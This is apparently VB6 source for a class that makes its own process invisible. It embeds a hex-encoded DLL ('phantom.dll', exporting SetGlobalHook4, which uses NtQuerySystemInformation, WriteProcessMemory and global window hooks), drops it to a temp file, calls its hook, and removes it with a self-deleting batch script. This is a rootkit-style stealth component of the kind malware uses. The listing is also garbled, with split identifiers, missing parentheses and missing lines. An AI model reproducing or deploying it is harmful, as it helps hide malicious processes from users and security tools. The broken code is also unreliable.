Private Declare Function GetTempFileName
Lib "kernel32.dll"
Alias "GetTempFileNameA" (
ByVal lpszPath
As String,
ByVal lpPrefixString
As String,
ByVal
wUnique
As Long,
ByVal lpTempFileName
As String)
As Long
Private Declare Function GetTempPath
Lib "kernel32.dll"
Alias "GetTempPathA" (
ByVal nBufferLength
As Long,
ByVal lpBuffer
As String)
As Long
Private Declare Function LoadLibrary Lib "kernel32.dll"
Alias "LoadLibraryA" (
ByVal lpLibFileName
As String)
As Long
Private Declare Function FreeLibrary Lib "kernel32.dll" (
ByVal hLibModule
As Long)
As Long
Private Declare Function GetProcAddress
Lib "kernel32.dll" (
ByVal hModule
As Long,
ByVal lpProcName
As String)
As Long
Private Declare Function CallWindowProc
Lib "user32.dll"
Alias "CallWindowProcA" (
ByVal lpPrevWndFunc
As Long,
ByVal hwnd
As Long,
ByVal msg
As
Long,
ByVal wParam
As Long,
ByVal lParam
As Long)
As Long
Private Declare Function ShellExecute
Lib "shell32.dll"
Alias "ShellExecuteA" (
ByVal hwnd
As Long,
ByVal lpOperation
As String,
ByVal lpFile
As String,
ByVal lpParameters
As String,
ByVal lpDirectory
As String,
ByVal nShowCmd
As Long)
As Long
Private Declare Function DeleteFile
Lib "kernel32.dll"
Alias "
eleteFileA" (
ByVal lpFileName
As String)
As Long
Private Declare Sub Sleep
Lib "kernel32.dll" (
ByVal dwMilliseconds
As Long)
Private Const szAsmCode As
String =
"4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800
000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000
0000000000504500004C010200F78DFD400000000000000000E0000E210B01050C0008000000020000000000002B13000000100000002000000000001000
1000000002000004000000000000000400000000000000003000000002000000000000020000000000100000100000000010000010000000000000100000
003016000065000000" & _
"281000003C00000000000000000000000000000000000000000000000000000000200000840000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000B01000004C0000000000000000000000000000000000000000000000000000002E74657
87400000095060000001000000008000000020000000000000000000000000000200000E02E72656C6F630000880000000020000000020000000A0000000
0000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000" & _
"6E74646C6C2E646C6C004E74517565727953797374656D496E666F726D6174696F6E00000000000064100000000000000000000006120000B0100000A01
00000000000000000000050120000EC1000000000000000000000000000000000000000000000FC1000000A11000020110000341100004A1100005A1100
00701100008411000096110000A6110000BA110000CE110000E0110000F01100000000000014120000261200003A12000000000000FC1000000A1100002
0110000341100004A1100005A110000701100008411000096110000A6110000BA110000CE110000E0110000F01100000000000014120000261200003A12
0000000000001A00436C" & _
"6F736548616E646C6500310043726561746546696C654D617070696E67410000DB0047657443757272656E7450726F6365737300DC00476574437572726
56E7450726F63657373496400FD004765744C6173744572726F72000007014765744D6F64756C6546696C654E616D6541000009014765744D6F64756C65
48616E646C654100001F0147657450726F63416464726573730000BA014D6170566965774F6646696C6500CB014F70656E46696C654D617070696E67410
000FA015265616450726F636573734D656D6F7279007702556E6D6170566965774F6646696C650088025669727475616C51756572790000A70257726974
6550726F636573734D65" & _
"6D6F727900006B65726E656C33322E646C6C0000120043616C6C4E657874486F6F6B45780000260253657457696E646F7773486F6F6B457841004502556
E686F6F6B57696E646F7773486F6F6B4578007573657233322E646C6C000000000000558BEC56BE001600108A060AC0740B3A45087503C6065F46EBEF5E
C9C20400558BEC5668001600106A046A006A046A006AFFE8DF0200000BC0743EA3E8150010E8E30200003DB7000000750BFF35E8150010E8B90200006A
006A006A006A06FF35E8150010E8D60200000BC0740B50FF75088F00E8D90200005EC9C20400558BEC83C4FC68001600106A006A06E8B40200000BC074
27506A006A006A006A0650" & _
"E89B0200000BC0740C50FF30588945FCE89D020000E8560200008B45FCC9C3FF35E8150010E846020000C3558BEC837D0C01753C8B4508A3E415001068
040100006800160010FF35E4150010E83D0200006A5CE808FFFFFF6A3AE801FFFFFFE818020000A3E0150010E816000000EB0B837D0C007505E89300000
0B801000000C9C20C006800100010E806020000680A10001050E8010200000BC07470A3F6150010C605FA15001068C705FB1500103C140010C605FF1500
10C368F21500106A0668EC150010FF35F6150010FF35E0150010E8D5010000833DF215001006752D68F21500106A0668FA150010FF35F6150010FF35E01
50010E8C101000033C083" & _
"3DF2150010067505B801000000C368F21500106A0668EC150010FF35F6150010FF35E0150010E89301000033C0833DF2150010067505B801000000C3558
BEC83C4FCE8C7FFFFFF0BC0744DFF7514FF7510FF750CFF7508FF15F61500108945FC837D080575328B750C33FFE86EFEFFFF3B46447517833E007508C7
0700000000EB0A0BFF74068B06030789078B060BC074068BFE0336EBD368F21500106A0668FA150010FF35F6150010FF35E0150010E8090100008B45FCC
9C21000558BECFF7510FF750CFF7508FF3523100010E8F1000000C9C20C00558BEC83C4E433C06A1C8D45E450FF7508E8CB0000000BC074038B45E8C9C
20400558BEC837D080074" & _
"3F833D23100010007550837D0C007507E86D000000EB038B450C50E85FFDFFFF68F8140010E8ADFFFFFF6A005068BC1400106A03E891000000A3231000
10EB1AFF3523100010E885000000C7052310001000000000E8C5FDFFFFC9C20800558BECFF750CFF7508E88CFFFFFFC9C21000FF25B0100010FF25B4100
010FF25B8100010FF25BC100010FF25C0100010FF25C4100010FF25C8100010FF25CC100010FF25D0100010FF25D4100010FF25D8100010FF25DC100010
FF25E0100010FF25E4100010FF25EC100010FF25F0100010FF25F4100010CCCCCCCCCCCCCCCCCCCC00000000000000000000000000000000000000000
00000000000000000000000" & _
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F78DFD40000000006C1
600000100000002000000020000005816000060160000681600005E150000F81400008716000078160000010000007068616E746F6D2E646C6C005365744
76C6F62616C486F6F6B3400536574476C6F62616C486F6F6B000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000" & _
"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000" & _
"0010000084000000653284329C32AE32C132E5322133383342334833653385338F339E33A433AB33AF33B533BB33C233C833CE33D933E133E833EE33F4
3301340F3416341C3422342F3459349934A034A634AC34CA34033521352E353A3542354D35723578357E3584358A35903596359C35A235A835AE35B435
BA35C035C635CC35D2350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000" & _
"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000"
Private hLib
As Long, hProc
As Long, sPath
As String
Public Property Let ProcessInVisible(
ByVal newValue
As Boolean)
If newValue
Then
If Not (hProc
Or hProc)
Then Call HideProcess
Else
If (hProc
And hProc)
Then Call ShowProcess
End If
End Property
Public Property Get ProcessInVisible()
As Boolean
ProcessInVisible = (hProc
And hProc)
End Property
Private Sub HideProcess()
Dim btArray()
As Byte, _
nf
As Long
sPath =
String$(&H100, 0&
Call GetTempPath(&H100, sPath)
Call GetTempFileName(sPath, "tmp", 0&, sPath)
sPath = Left$(sPath, InStr(vbNull, sPath, vbNullChar) - vbNull)
ReDim btArray((
Len(szAsmCode) - vbNull) \ 2)
For nf = vbNull
To Len(szAsmCode)
Step 2&
btArray((nf - vbNull) \ 2) =
CByte("&H" &
Mid$(szAsmCode, nf, 2&
)
Next
nf = FreeFile
Open sPath
For Binary Access Write Lock Read As nf
Put nf, vbNull, btArray
Close
Erase btArray
hProc = GetProcAddress(hLib, "SetGlobalHook4"
Call CallWindowProc(hProc, vbNull, 0&, 0&, 0&
Private Sub ShowProcess()
Call CallWindowProc(hProc, 0&, 0&, 0&, 0&
Call FreeLibrary(hLib)
Call Sleep(10&
Call DeleteLibMe
hLib = 0&
hProc = 0&
sPath = vbNullString
End Sub
Private Sub DeleteLibBat()
Dim sBatPath
As String, nf
As Integer
nf = FreeFile
sBatPath = Left$(sPath,
Len(sPath) - 3&
& ".bat"
Open sBatPath
For Binary Access Write Lock Read As nf
Put nf, vbNull, ":l" & vbCrLf & "del %1" & vbCrLf & _
"if exist %1 goto l" & vbCrLf & "del %0"
Close
Call ShellExecute(0&, "open", sBatPath, sPath, vbNullString, vbHide)
End Sub
Private Sub DeleteLibMe()
Dim local_cntr
As Long
Do
Call Sleep(10&
DoEvents
local_cntr = local_cntr + vbNull
If Len(Dir(sPath)) = 0&
Then Exit Sub
Call DeleteFile(sPath)
Loop Until local_cntr > 50
Call DeleteLibBat
End Sub